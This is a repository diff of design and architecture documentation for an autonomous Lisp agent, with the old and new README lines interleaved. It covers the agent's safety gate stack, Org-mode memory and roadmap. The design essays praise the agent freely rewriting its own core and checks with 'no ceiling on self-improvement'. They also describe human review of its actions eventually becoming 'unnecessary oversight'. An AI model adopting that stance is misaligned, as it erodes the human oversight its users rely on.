After installation, the =passepartout= command is available from anywhere.
After installation, start interacting immediately:
#+begin_src bash
passepartout tui # launch the terminal interface
passepartout daemon # start the background daemon (for TUI/CLI/gateways)
passepartout doctor # run system health check
# Start the rich Terminal UI
opencortex tui
# Or use the raw CLI
opencortex cli
#+end_src
See [[file:docs/USER_MANUAL.org][User Manual]] for the full guide.
* The Evolutionary Roadmap
* Project Documentation
** v0.1.0: The Autonomous Foundation (Current Release)
The initial MVP establishing a secure, auditable Lisp kernel. Features a robust metabolic pipeline, mandatory skill enforcement, and background distillation (The Scribe).
| Document | Answers |
|-------------------------------------------+-------------------------------------------------------|
| [[file:docs/USER_MANUAL.org][User Manual]] | How do I use it? |
| [[file:docs/ARCHITECTURE.org][Architecture]] | How does it work inside? |
| [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] | Why was it built this way? |
| [[file:docs/ROADMAP.org][Roadmap]] | Where is it going? When? |
| [[file:docs/CONTRIBUTING.org][Contributing]] | How do I contribute? |
** v0.2.0: Interactive Refinement & Self-Editing
Elevating the user interface and granting the kernel the physical capability to edit its own source code.
- *Autonomous Self-Editing:* Implementation of File I/O cognitive tools (`:read-file`, `:write-file`, `:replace-string`) and whitelisting `emacs` for autonomous `org-babel-tangle` operations.
- *High-Fidelity TUI:* Transitioning to a rich, native Lisp TUI via `croatoan` with scrollable history and multi-line input.
- *Skill Hot-Reloading:* A dedicated mechanism to safely swap compiled Lisp code into the live image without severing client connections.
- *Automated PATH Handling:* Zero-config installation where the `opencortex` binary is automatically injected into the user's environment.
* License
** v1.0.0: The Verified Wrapper (Next Major Target)
Achieving feature parity with SOTA autonomous agents but with Lisp-grade mathematical security.
- *The Tools are External:* Standard bash shell, headless browser (via Playwright), and standard file I/O.
- *The Safety is Internal:* The Bouncer and Formal Verification gates mathematically prove actions are safe before they touch the OS.
Passepartout is released under the [[file:LICENSE][AGPLv3 license]].
See [[file:CLA.org][CLA.org]] for the Contributor License Agreement.
** v2.0.0: The Cannibalization
Replacing string-based tool wrappers with native Lisp data structures to eliminate LLM fragility.
- *Cannibalizing the Browser:* Ingesting the DOM as a native Lisp AST rather than fighting with Playwright scripts.
- *Cannibalizing the Shell:* Moving from bash execution to native OS API bindings. Emacs becomes a viewport for the live AST, not a master.
** v3.0.0: True Symbolic Determinism
The great inversion. The Lisp engine takes the wheel, and the LLM is relegated to a mere semantic translation layer for the messy outside world.
- *Deterministic Planning:* The core reasoning engine uses formal logic and graph traversal to plan and execute workflows.
- *Self-Correcting Syntax:* The Lisp engine catches and repairs hallucinated syntax errors without consulting the LLM.

137
docs/ARCHITECTURE.org
View File

@@ -1,137 +0,0 @@
#+TITLE: Passepartout Architecture
#+AUTHOR: Agent
#+STARTUP: content
* The Four Quadrants
Passepartout divides cognition along two axes: **Foreground vs Background** (initiated by the user vs running autonomously) and **Probabilistic vs Deterministic** (LLM-driven vs pure Lisp logic).
| | Probabilistic (LLM) | Deterministic (Lisp) |
|----------------+-------------------------------------------------------------+------------------------------------------------------------|
| **Foreground** | Chat responses, task execution, code generation | Shell execution, file I/O, safety gates, dispatcher checks |
| **Background** | Scribe distillation, vector embedding, autonomous decisions | Heartbeat, cron jobs, memory auto-save, gateway polling |
The Probabilistic engine proposes. The Deterministic engine verifies and executes. No proposal from the LLM touches a file, runs a command, or sends a message without passing through at least one deterministic gate.
* Architectural Layers
** Core Pipeline (loaded by ASDF — the harness)
- package definition: defpackage, cognitive tools, logging
- memory: memory-object struct, Merkle hashing, snapshots, persistence
- context: foveal-peripheral rendering, context assembly for LLM
- pipeline: perceive → reason → act stages, orchestrator, heartbeat
- skills engine: defskill macro, topological sorter, jailed loading
- communication: framed TCP protocol, actuator registry, daemon server
- diagnostics: health checks, doctor CLI
** Skills (loaded at runtime by the skill engine)
- gateway: TUI, CLI, messaging (Telegram, Signal)
- system-model: provider dispatch, router, embeddings, model explorer
- security: dispatcher (safety gate), policy, permissions, validator, vault
- programming: Lisp, Org, literate tools, REPL, standards
- system: config, archivist, self-improve, memory introspection, shell actuator, event-orchestrator, context-manager, setup
** Clients (connect to daemon via framed TCP protocol)
- TUI: Croatoan-based terminal interface (model-view architecture, dirty-flag rendering)
- CLI: pipe-friendly command-line gateway
- Emacs: elisp bridge speaking the wire protocol (planned v0.4.0)
* Pipeline Flow
Every signal moves through three stages:
```
Signal → Perceive (normalize) → Reason (think + verify) → Act (dispatch)
```
The signal is a plist: ~(:TYPE :EVENT :META (...) :PAYLOAD (:SENSOR :user-input :TEXT "..."))~
1. **Perceive** normalizes raw input from any gateway into a uniform signal
2. **Reason** calls the LLM to generate a proposal, then runs the proposal through all registered deterministic gates (sorted by priority). If a gate rejects the proposal, the rejection trace feeds back to the LLM for self-correction (up to 3 retries)
3. **Act** dispatches the approved action to the registered actuator (~:cli~, ~:tool~, ~:system~, ~:shell~, ~:telegram~, ~:signal~)
Each stage can produce feedback signals that loop back to Perceive (e.g., a tool-execute action produces a ~:tool-output~ event that becomes the next perception).
** Depth limiting
A depth counter prevents infinite loops. If a signal's depth exceeds 10, it is silently dropped. This is the circuit breaker for runaway recursive cycles.
* Foveal-Peripheral Context Model
When the agent assembles context for the LLM, it does not send the entire memory. It renders a sparse outline using three rules:
1. *Depth ≤ 2* — the root node and its immediate children are always included (title and properties only, no content).
2. *Foveal focus* — the node the user is currently interacting with is rendered in full, including its body content and all descendants.
3. *Semantic relevance* — any node whose embedding vector has cosine similarity ≥ threshold (default 0.75) to the foveal node is rendered in full.
Nodes that don't match any rule are rendered as title-only — a single Org headline with its :ID: property. This keeps active context between 2,000–4,000 tokens for typical memex sizes, versus 50,000–150,000 tokens for a full serialization. The embedding vectors that power semantic retrieval are computed at ingest time (~ingest-ast~ in core-memory.lisp) and can use local models (Ollama), cloud APIs (OpenAI embeddings), or a zero-dependency lexical fallback (trigram Jaccard similarity).
For the rationale behind sparse-tree rendering and why this architecture outperforms "load everything" systems, see Design Decisions: Org-Mode as Unified AST.
* Dispatcher Gate Stack
Every action the LLM proposes passes through a stack of deterministic gates before execution. Gates are registered as skills with ~defskill~ and sorted by priority (highest first) in ~cognitive-verify~ (core-loop-reason.lisp).
| Priority | Gate | What It Checks |
|----------+---------------------------+----------------------------------------------------------|
| 600 | security-permissions | Tool permission table (allow/ask/deny per tool) |
| 600 | security-vault | Credential storage integrity |
| 500 | security-policy | Requires :explanation on every action |
| 150 | security-dispatcher | 9-vector safety: secrets, paths, shell, lisp, network, |
| | (the Dispatcher) | privacy, high-impact approval |
| 95 | security-validator | Protocol schema validation |
| 100 | system-archivist | Scribe and Gardener maintenance on heartbeat |
| 80 | system-event-orchestrator | Cron job dispatch on heartbeat |
Gates return either the action (passed through unchanged), a rejection (:LOG or :EVENT with block reason), or an approval request (:EVENT with :level :approval-required). Rejections feed back to the LLM as a rejection trace — the model sees what it proposed, which gate blocked it, and why, and retries with that context (up to 3 retries). Approval requests create Flight Plan Org nodes requiring human review via the HITL workflow.
Every gate is a pure Common Lisp function. Verification costs 0 LLM tokens. Contrast with prompt-based guardrails (Claude Code, OpenClaw, Hermes Agent) which consume 100–500 LLM tokens per verification.
For the rationale behind deterministic vs prompt-based safety, see Design Decisions: The Probabilistic-Deterministic Split and The Dispatcher as Learning System.
* Embedding & Semantic Retrieval Pipeline
Every memory-object can carry an embedding vector for semantic search. The pipeline:
1. *Ingest* — ~ingest-ast~ (core-memory.lisp) calls ~embeddings-compute~ on new objects, storing the vector in ~memory-object-vector~.
2. *Queue* — objects with stale vectors are queued via ~mark-vector-stale~. The ~embed-all-pending~ cron job (every 10 minutes, :REFLEX tier) drains the queue and recomputes vectors.
3. *Retrieval* — ~context-awareness-assemble~ (core-context.lisp) passes the foveal node's vector to ~context-object-render~. Nodes with cosine similarity ≥ threshold against the foveal vector are rendered in full rather than as title-only.
Three backends are available, selected via ~EMBEDDING_PROVIDER~:
- :local — Ollama-compatible /api/embeddings endpoint (e.g., nomic-embed-text)
- :openai — OpenAI /v1/embeddings API (e.g., text-embedding-3-small)
- :hashing — zero-dependency lexical fallback using trigram Jaccard similarity (replaced SHA-256 hashing in v0.4.0 because cryptographic hashes maximise output divergence — the opposite of what a similarity metric needs)
For the design rationale, see Design Decisions: Token Economics and Performance Advantage.
* Skill Lifecycle
1. *Discovery:* ~skill-initialize-all~ scans the skills directory, globs for ~*.lisp~ files (excluding ~core-*~ files which are loaded by ASDF)
2. *Sorting:* ~skill-topological-sort~ orders skills by their ~#+DEPENDS_ON:~ declarations
3. *Loading:* Each skill is loaded into a jailed package (~passepartout.skills.<skill-name>~). The loader removes ~in-package~ forms, evaluates the remaining code in the jailed package, and exports symbols matching the skill's short name to ~passepartout~
4. *Registration* The skill's ~defskill~ call creates a ~skill~ struct in ~*skill-registry*~, registering its trigger function, probabilistic prompt generator, deterministic gate, and system-prompt augment
5. *Triggering:* On each cognitive cycle, ~skill-triggered-find~ iterates the registry and returns the highest-priority skill whose trigger matches the context
6. *Hot-reload:* A skill can be replaced at runtime by loading a new version into its jailed package — no restart needed
* Communication protocol Format
All communication between the daemon and its gateways (TUI, CLI, Emacs) uses length-prefixed plists over TCP:
```
00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.3.0"))
```
The 6-character hex prefix encodes the payload length. The payload is a ~prin1~-serialized plist. ~*read-eval*~ is bound to nil on the receiving end to prevent code injection.
** Standard message envelope:
| Key | Value | Meaning |
|-----|-------|---------|
| ~:TYPE~ | ~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~ | Message category |
| ~:META~ | plist | ~:SOURCE~, ~:SESSION-ID~, ~:reply-stream~ |
| ~:PAYLOAD~ | plist | Action-specific data (~:SENSOR~, ~:ACTION~, ~:TEXT~) |
| ~:DEPTH~ | integer | Recursion counter for loop prevention |
The protocol lifecycle begins with a handshake: the daemon sends a :handshake action with its version, and the client responds with its capabilities. After handshake, either side can send any message type. The daemon never initiates a disconnect — clients poll for messages and reconnect on EOF.
Planned for v0.6.3: streaming chunk frames (~:type :stream-chunk~) carrying partial LLM output. The final chunk is an empty string signalling end-of-stream, enabling interrupt-and-redirect from the client side.

26
docs/CHANGELOG.org Normal file
View File

@@ -0,0 +1,26 @@
#+TITLE: Changelog
#+STARTUP: content
* v0.1.0 - The Autonomous Foundation (2026-04-20)
This is the initial MVP release of the ~opencortex~. It establishes a secure, auditable Lisp kernel for a personal operating system.
** Features
- **Unified Envelope Architecture:** Actuator-agnostic protocol that decouples routing metadata from cognitive payloads, ensuring all clients (TUI, Emacs, CLI, Matrix) are treated as equal citizens.
- **Metabolic Pipeline:** Robust Perceive-Reason-Act loop with selective memory rollbacks and graceful shutdown handling.
- **Verification Lock:** Mandatory skill enforcement via environment configuration. System halts if security policies or bouncers fail to load.
- **Foveal-Peripheral Context:** High-resolution focus on active tasks with low-resolution skeletal awareness of the rest of the Memex.
- **The Bouncer:** Last-mile deterministic security gate with Deep Packet Inspection for secrets and network exfiltration.
- **Autonomous Scribe:** Background distillation worker that turns daily journal entries into evergreen Zettelkasten notes. Verified to distill atomic concepts autonomously.
- **Autonomous Gardener:** Heartbeat-driven worker that repairs broken links and identifies orphaned nodes in the Memex graph.
- **Unified Onboarding:** Single-command installation (~opencortex.sh~) with Docker support, OS detection, and automated dependency resolution.
- **Channel-Aware TUI:** Interactive Croatoan-based terminal client with clean, human-readable formatting for tool results and system logs.
- **CLI Gateway:** Local TCP socket server for pipe-friendly interaction and frictionless first contact.
** Licensing & Community
- **AGPLv3 License:** OpenCortex is now officially licensed under the GNU Affero General Public License v3.0.
- **Contributor License Agreement:** Implemented a broad CLA (~CLA.org~) for long-term project sustainability.
** Architectural Shift
- Transitioned to **Literate Granularity**: Every function and invariant is now formally documented in its own Org block.
- **Provider Agnosticism:** Implemented a dynamic LLM cascade (OpenRouter, Ollama, etc.) removing all hardcoded backend dependencies.
- **Thin Harness Philosophy:** Decoupled the kernel from specific editors or third-party gateways.

38
docs/CONTRIBUTING.org
View File

@@ -1,27 +1,10 @@
#+TITLE: Contributing to Passepartout
#+AUTHOR: Passepartout Contributors
#+TITLE: Contributing to OpenCortex
#+AUTHOR: OpenCortex Contributors
#+STARTUP: content
#+FILETAGS: :docs:contributing:
* Philosophy
Passepartout is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
* TDD Discipline (Red-Green-Refactor)
All code changes MUST follow this cycle:
1. *Write a failing test* — capture the desired behavior as a FiveAM test
in a =* Test Suite= section within the relevant =.org= file
2. *Prove it fails* — run =sbcl --eval "(asdf:test-system :passepartout)"=
and confirm the new test fails (RED) before writing implementation
3. *Write the code* — modify the implementation in the same =.org= file
4. *Prove it passes* — run the test suite again, confirm GREEN
5. *Reflect* — ensure the test and code are both in the =.org= literate source
For *existing code* that lacks tests: write a characterization test that
captures current behavior as the spec. Then refactor.
No test may be committed without proof it was first run to failure.
OpenCortex is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
* Literate Granularity
We strictly adhere to Literate Programming using Org-mode.
@@ -31,7 +14,7 @@ We strictly adhere to Literate Programming using Org-mode.
- Every architectural decision, constraint, and implementation detail must be documented alongside the code in the `.org` file.
* Skill Creation Standard
Skills are the building blocks of Passepartout. They reside in the `skills/` directory.
Skills are the building blocks of OpenCortex. They reside in the `skills/` directory.
A skill must define:
1. *Trigger*: A lambda determining if the skill should activate based on the context.
@@ -48,15 +31,14 @@ Example Registration:
#+end_src
* The Unified Envelope (Communication Protocol)
All inter-process communication occurs via the Unified Envelope. Do not use legacy specific types like `:CHAT`.
All inter-process communication occurs via the Unified Envelope.
- Always use semantic types: `:REQUEST`, `:EVENT`, `:RESPONSE`, `:STATUS`, `:LOG`.
- Include routing metadata in the `:META` block (e.g., `(:SOURCE :TUI)`).
- Ensure generated `:REQUEST` messages include a mandatory `:TARGET` field.
* Pull Request Process
1. Choose an Org file and write a failing test in its =* Test Suite= section.
2. Tangle and run to confirm RED (the test fails).
3. Write the implementation in the same Org file, tangle, run to confirm GREEN.
4. Ensure your working tree is clean.
5. Run the full test suite: =sbcl --eval "(asdf:test-system :passepartout)"=.
6. Submit a PR outlining the architectural intent and the specific Literate changes.
1. Ensure your working tree is clean.
2. Write tests for your skill in `tests/`.
3. Tangle all files.
4. Run the test suite: `sbcl --eval "(asdf:test-system :opencortex)"`.
5. Submit a PR outlining the architectural intent and the specific Literate changes.

400
docs/DESIGN_DECISIONS.org
View File

@@ -1,400 +0,0 @@
# Passepartout Design Decisions
This document captures the rationale behind key architectural choices. It is not a specification - it is a thinking medium for future architects and contributors who need to understand why the system is built this way, not just how.
** Non-Negotiable Identity
- Pure Common Lisp + Org-mode. No JSON. No YAML. No external databases.
- Single-address-space memory (Lisp hash tables in RAM — the agent IS the memory).
- "Thin harness, fat skills" — complexity lives at the edges, not the kernel.
- One agent composed of many skills. Concurrency via bordeaux-threads (shared memory).
- Plists everywhere — homoiconic communication between all components.
This is the foundational decision from which all other decisions derive. It is not negotiable. Every architectural choice below exists because this identity makes it possible — and in some cases, makes it the only viable path. The single memory space enables Merkle-tree integrity without serialization boundaries. Plists enable the cognitive pipeline to be transparent and inspectable at every stage. Org-mode as the universal format means the agent's memory, the user's notes, and the agent's own source code are the same structure. This identity is the constraint that produces the architecture.
* Design
** One single agent
:PROPERTIES:
:ID: design-multi-agent-default
:CREATED: [2026-05-07 Wed]
:END:
The AI industry has developed an intuition toward multi-agent systems as the default solution to hard problems. Multiple agents spawn, delegate, coordinate, debate, and consensus their way toward solutions. This pattern is compelling in demos and genuinely useful in specific contexts - but it has become a default assumption that warrants scrutiny.
When context windows grew expensive and task complexity increased, the response was natural: split the problem across agents, each handling a slice. But this architectural choice carries hidden costs that are rarely acknowledged in the enthusiasm of implementation.
*The synchronization tax* is the most immediate burden. Each agent operates with partial information, and maintaining coherence requires continuous state reconciliation. Tokens and processing cycles are spent not on the task itself, but on protocol overhead - who holds what, who decided what, who is correct when they disagree.
*Fragmented context* is the deeper problem. When Agent A writes a function and Agent B modifies a type it depends on, neither has the full picture. Integration failures emerge not from individual incompetence but from systemic communication gaps. Single-agent systems avoid this entirely: one brain holds the complete model, every decision is made with full visibility.
*Audit trails become complex* in multi-agent systems. A decision traced through a single-agent system has a clean, linear history. A decision traced through a multi-agent system branches and forks, with each agent's reasoning partially overlapping and partially conflicting.
None of this is to say multi-agent systems are never appropriate. Embarrassingly parallel workloads - scanning ten thousand files, processing batch jobs - benefit from parallelism regardless of context. When distinct expertises are required and cannot coexist in one model, delegation makes sense. In adversarial scenarios where conflicting goals are features, multi-agent architectures shine.
But the default assumption that complex reasoning tasks are best solved by multiple agents is unproven and likely wrong for the engineering domain. Claude Code is a single-agent system. It handles 50-file refactors, debugs complex stack traces, writes tests, and navigates large codebases. The assumption that you need five agents to do what one well-designed agent can do is an industry habit, not a technical necessity.
Passepartout is single-agent by default not from limitation but from conviction: for reasoning-heavy work where coherence matters, a unified memory space and single decision-making locus are architectural assets, not constraints.
** The Unified Memory Argument
:PROPERTIES:
:ID: design-unified-memory
:CREATED: [2026-05-07 Wed]
:END:
If single-agent architecture is the decision, unified memory becomes the mechanism that makes it viable. The critical question is not "how many agents" but "how does the agent manage context without saturating."
Context window limits are largely a symptom of lazy architecture. The default approach - stuff everything in, hope the model figures it out - works poorly at scale. A more principled approach inverts the problem: the system should hold effectively infinite context, with the active window kept lean through intelligent management.
*Lazy loading* is the core technique. When an agent needs information about a function, it does not load the entire codebase. It loads precisely what the function does. Context stays lean - 2,000 to 4,000 tokens - while the full context remains accessible through retrieval.
*Compaction events* are scheduled during idle cycles. The system extracts new facts from active context and writes them to permanent storage. Active context is wiped clean, not because space ran out, but because the information has been preserved in a form that can be retrieved when relevant.
*Org-mode as externalized memory* solves the persistence problem elegantly. Every decision, every note, every task lives in plain text files the user already owns. The agent does not maintain a separate database. It queries files it can already access, modifies files it already owns.
*Retrieval is the key primitive.* Semantic search across Org files finds relevant nodes. The agent does not hold the full context - it holds pointers to context, loaded on demand. This is how a single agent handles tasks that would saturate a naive multi-megabyte context window.
The unified memory argument is not that infinite context is free. It is that with proper architecture, effective infinite context is achievable without the synchronization and fragmentation costs of multi-agent systems.
** Org-Mode as Unified AST
:PROPERTIES:
:ID: design-org-unified-ast
:CREATED: [2026-05-07 Wed]
:END:
Passepartout makes a bet that most systems consider too expensive to place: that humans and machines should share the same file format. That bet is Org-mode.
Most systems separate human-readable notes from machine-readable data. The user writes Markdown. The system stores it, indexes it, searches it. But internally, the system maintains its own model - a database, an object store, a knowledge graph - that is disconnected from the Markdown. When the user dies or leaves, the Markdown survives but the model must be reconstructed.
Passepartout refuses this separation. The Org file is not a representation of the data. The Org file IS the data. The same text that the user reads and edits is what the system parses and operates on. org-element reads an Org buffer and returns a tree structure that is the direct Lisp representation of the file's content.
This has several profound implications.
First, there is no translation layer between human and machine. When the agent writes a skill, it writes Org text that is immediately readable by the human who owns the file. When the human writes a note, it is immediately accessible to the agent as a native data structure. The communication is not mediated by a schema or an import/export process.
Second, the format is genuinely readable by both parties, not just technically accessible. Org-mode's syntax is human-friendly: headlines begin with asterisks, properties live in drawers, tags are labels after colons. The human does not have to understand the full Org specification to read what the agent wrote. The agent does not have to handle edge cases in human notation.
Third, the format is stable across decades. Org-mode has been in active development since 2003. The files written today will be readable by Org-mode in 2040. There is no schema migration, no database upgrade, no vendor lock-in. The human's notes survive the system.
Fourth, the format is universally available. Org-mode is free software. The files are plain text. There is no proprietary format to decode, no application to purchase, no cloud service to access.
Fifth, the format is header-aware and sparse-tree capable. Org-mode's headline hierarchy is not just formatting - it is a semantic structure the system can query. The agent can retrieve only the relevant subtree under a heading, ignoring the rest of the file. This is fundamentally different from Markdown, where the entire file must be loaded or the retrieval logic must parse and filter at the string level.
Sparse tree retrieval is the key to efficient context management. When the agent needs information about the =openctl-db= function, it queries for the =openctl-db= subtree specifically. It receives exactly the code, documentation, and metadata under that heading - nothing more. The context stays lean not because the file was pre-split but because the retrieval is structural. In a Markdown system, the agent either loads the entire file (expensive, noisy) or relies on imprecise grep-like search (fragile, loses hierarchy). In Org-mode, retrieval is precise, hierarchical, and cheap. The heading boundary is the access boundary.
Sixth, Org-mode unifies what every other format fragments. A single Org file contains the headline hierarchy, prose documentation, source code blocks with live evaluation, tags for categorization, metadata in property drawers, TODO state for task management, timestamps and deadlines, and links to other nodes. Markdown cannot express TODO state without external tools. JSON cannot contain prose. YAML cannot embed runnable code. Each format serves one purpose; Org-mode serves all of them. When the agent reads a skill file, it reads documentation, code, dependencies, metadata, and task state in one parseable structure. When the human reads the same file, they see the same information rendered in a human-friendly form. No other format achieves this unification without maintaining parallel files or external databases.
Seventh, a skill lives in one Org file, not a directory. The standard pattern for a software project is a directory containing =README.md=, =package.json=, =src/main.py=, =src/utils.py=, =tests/test_main.py=, =scripts/deploy.sh=, and =config.yaml=. Each file type is isolated by convention: prose lives in README, code lives in src, tests in tests, configuration in config. This fragmentation means the skill is not a single object the system can reason about - it is a collection of files the system must assemble. Passepartout's skills violate this convention deliberately. Each skill is one Org file. The file contains the skill's documentation, the skill's code, the skill's metadata, the skill's TODO state, and the skill's dependencies on other skills. There is no directory to navigate, no external files to locate, no risk that the README describes behavior that the code does not implement. The skill is a single atomic unit: readable by human and machine, editable by both, versionable as one entity.
The unified format is what makes the memory architecture work. The agent's memory is not a database that the user cannot inspect. It is a folder of Org files that the user can read, edit, and understand. The agent manipulates these files directly, using the same tools the user would use. There is no hidden state, no shadow database, no model that differs from the source.
This is what "sovereignty" means in technical terms: the user owns the data in a format they can access, and the agent operates on the data in the same format they own.
** Homoiconicity as Foundation
:PROPERTIES:
:ID: design-homoiconicity
:CREATED: [2026-05-07 Wed]
:END:
Common Lisp is homoiconic: code and data share the same representation. A Lisp program is a list, and a list is a Lisp program. This is usually presented as a curiosity, an interesting property that enables macros. In Passepartout, it is the foundational enabling property of the entire self-modification architecture.
When code is data, the agent can read its own source the same way it reads a text file or an Org buffer. There is no AST parser required, no external tool to extract the function object from the running image. The agent evaluates (read-from-string source) and the result is executable Lisp. The representation it manipulates is the same representation that the runtime executes.
This is not true of most languages. In Python, the agent can inspect an AST through the ast module, but that AST is a foreign object - a data structure that represents code but is not code itself. The agent can see that a function takes certain arguments and returns a certain type, but it cannot treat the AST as a live object it can modify and re-evaluate. In C, the agent cannot inspect its own compiled machine code at all.
In Lisp, the distinction between code and data is a convention, not a barrier. The agent's skills are lists. The agent can take a skill, extract a function definition, modify the body, wrap it in a new list, and evaluate it. The modification is surgical: it changes exactly what it intends to change, with no risk of corrupting adjacent state, because the representation is a tree that the runtime understands natively.
Runtime introspection is therefore native. The agent does not need a debugger API or a reflection protocol. It operates on its own code as data because its own code is data. (describe 'function-name) returns the function's documentation. (function-lambda-list 'function-name) returns its parameters. (macroexpand-1 '(defskill ...)) shows what the macro produces. There is no impedance mismatch between the agent's reasoning and the system's representation.
Self-modification is the practical consequence. The agent can detect an error, locate the erroneous function, generate a corrected version, and hot-reload it into the running image. The correction is not applied to a file that requires a restart - it is applied to the live object that the system is currently executing. This is what makes the self-editing skill viable: the agent can fix itself without stopping.
In v3.0.0, when the symbolic engine takes over the reasoning core, homoiconicity becomes the bridge between the neural and symbolic layers. The neural engine generates proposals as s-expressions. The symbolic engine evaluates them against formal constraints. The result is a modification that is simultaneously a data structure the symbolic engine can analyze and code the runtime can execute. The two representations are identical by construction.
This is the technical meaning of "Lisp as Governor": not just that Lisp orchestrates the other components, but that the representation of the system is uniform and inspectable at every level. There is no hidden state, no opaque machine code, no representation that the agent cannot reach into and modify. The system is legible to itself by design.
*Self-Modification Without Boundaries*
Other systems that support self-editing draw a line between the core and the skills. Hermes can modify its skills at runtime, but the core harness is protected - editing it requires a restart because the core is treated as privileged code that cannot be safely modified while running.
Passepartout has no such boundary. The "thin harness, fat skills" distinction describes where complexity lives, not where authority flows. The harness is small by design, but it is not privileged. The agent can read and write any part of the system - including the very code that is currently executing - without restarting.
This is only possible because Lisp code is mutable data at runtime. In a compiled language, the machine code for a running function is locked in memory, protected by the call stack, impossible to modify safely. In Lisp, the function object is a list you can modify with =setf=. When the agent changes a harness function, the running image immediately reflects the change. The next invocation uses the new code. There is no restart, no special boot mode, no distinction between development and production.
The implications extend beyond convenience. A system that cannot modify its own core is a system that has limits on its own adaptability. It can learn skills but not improve its own structure. It can grow but not evolve. Passepartout's lack of a core boundary means the system can improve its own reasoning engine, fix bugs in its own cognition, and evolve its own architecture - all while continuing to operate.
This is the final expression of homoiconicity: not just that code is readable as data, or that skills are modifiable, but that the entire system - including the parts that other systems protect - is open to modification. There is no ceiling on self-improvement. The agent can rewrite the very code that rewrites itself.
** The Probabilistic-Deterministic Split
:PROPERTIES:
:ID: design-probabilistic-deterministic
:CREATED: [2026-05-07 Wed]
:END:
The architecture divides cognition into two fundamentally different reasoning systems. This is not arbitrary engineering but a structural response to a fundamental truth: probabilistic systems will hallucinate, and you cannot build reliable autonomy on an unreliable foundation.
An LLM is a statistical engine. It generates outputs based on patterns in training data. It is remarkable at translation, generation, pattern matching, and fuzzy reasoning. It can take messy human intent and produce structured queries. It can take structured results and produce natural language. It is, in the terminology of the system, the creative brain.
But it cannot be trusted. Not because it is poorly designed or insufficiently trained, but because hallucination is a fundamental property of probabilistic inference. The model generates the most likely continuation, not the correct one. Given sufficient context, the most likely continuation is correct. Given novel context, it is often wrong in confident-sounding ways.
The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations - lists, property lists, knowledge graphs - not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
The division of labor is architectural. The LLM handles the fuzzy interface between human language and structured representation. It translates what the user wants into what the system can reason about. The deterministic engine receives those structured representations and evaluates them against formal invariants. It decides whether to execute, not whether the translation was semantically plausible.
This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought - a layer of filtering around a dangerous core. Passepartout makes the division explicit: the LLM never touches the file system, never executes a command, never modifies memory. It generates proposals. The deterministic engine evaluates and executes. The dangerous operations are never in the probabilistic path.
The split also explains why the system gets safer over time without the LLM improving. The deterministic engine accumulates rules. The LLM proposes actions, the engine evaluates them against a growing rule set. Early versions block obvious dangers. Later versions block sophisticated attacks that were previously unknown. The safety grows logarithmically with the number of interactions, not linearly with model capability.
** The Dispatcher as Learning System
:PROPERTIES:
:ID: design-bouncer-learning
:CREATED: [2026-05-07 Wed]
:END:
The Dispatcher begins as a static guard - a set of rules that block obviously dangerous actions. But defining "obviously" is the hard problem. The agent encounters situations the rules do not anticipate. The Dispatcher must grow.
The human-in-the-loop exception is the seed. When the LLM proposes an action the Dispatcher does not recognize, the system does not default to blocking or allowing. It suspends. It writes the proposed action to an Org buffer in a format the human can read and understand. The human reviews and approves or denies. The Dispatcher observes the decision.
From this single observation, the Dispatcher extracts a rule. Not merely "allow this specific action" but "allow this class of actions parameterized by these dimensions." The human approved a write to ~/projects/myapp/src/core.clj. The Dispatcher generalizes: writes to ~/projects/*/src/*.lisp are approved for this session, or for this project, or indefinitely depending on the context and the user's pattern of decisions.
Shadow mode is where rules are tested before deployment. When the Dispatcher encounters a novel situation and is uncertain, it can run the proposed action in a simulated environment. It observes the side effects - what files would be modified, what processes would be spawned, what network calls would be made. If the simulation produces dangerous side effects, the rule is discarded. If it appears safe, the rule is added to the active set with a confidence rating.
Formal verification is where the learned rules are checked against invariants. The Dispatcher's rules are not merely patterns observed from human behavior. They are formulas in a logic that the system can reason about. A rule that would enable path traversal is not discarded because it was observed to be safe in prior instances - it is discarded because it violates the path-confinement invariant by construction.
The Dispatcher becomes, over time, not a guard that blocks bad actions but a reasoning system that understands why actions are good or bad. Early versions learn from human decisions. Later versions learn from their own logical analysis. The human's role transitions from approver to auditor to, eventually, unnecessary oversight.
This is the bootstrap. The system begins dependent on human judgment because it has no basis for judgment of its own. Through accumulated decisions, it constructs a model of what is permitted and why. That model is the foundation for the deterministic symbolic engine that in v3.0.0 takes over the reasoning that the Dispatcher learned to perform.
** The REPL as Cognitive Substrate
:PROPERTIES:
:ID: design-repl-cognition
:CREATED: [2026-05-07 Wed]
:END:
A REPL - Read, Eval, Print, Loop - is an interactive programming environment that reads an expression, evaluates it, prints the result, and loops back to read the next expression. It is the opposite of batch processing: where batch compiles and runs a program in one shot, a REPL works one expression at a time, with each evaluation building on all previous ones. The programmer defines a function, calls it, inspects the result, modifies it, and calls it again. The state accumulates. The session is the program.
In Lisp, the REPL is not a debugging tool bolted onto the language - it is the natural mode of interaction. The running image is the environment. When you evaluate =(+ 2 2)=, the result =4= is printed, and you remain in the same image where =+= is defined, where previous definitions persist, where the next expression can reference anything that came before. There is no separation between development and execution. The REPL is not a simulation of the program - it is the program running.
Passepartout uses the REPL in this spirit, but elevated: it is not merely a tool for writing code, it is the mechanism by which the agent interacts with its own cognition - a loop that mirrors the perceive-reason-act metabolic cycle at the implementation level.
In the agent's cognitive architecture, the REPL serves three functions that are difficult or impossible to achieve through batch processing or stateless API calls.
First, the REPL enables verification before commitment. When the agent generates code, it does not write and forget - it evaluates in a running image, observes the result, iterates if incorrect. The feedback loop is tight: the time between writing and seeing the error is measured in milliseconds, not in the round-trip to a language server or a batch compiler. This is the "verification over hallucination" principle from the RLM paper made concrete: the agent tests what it writes before claiming it works.
Second, the REPL enables stateful exploration. The agent can define a variable, inspect it, modify it, redefine it. The exploration accumulates state across interactions. This is not a debugging session - it is the agent thinking with its hands, working through a problem by trying variations and observing outcomes, keeping the successful ones and discarding the failures.
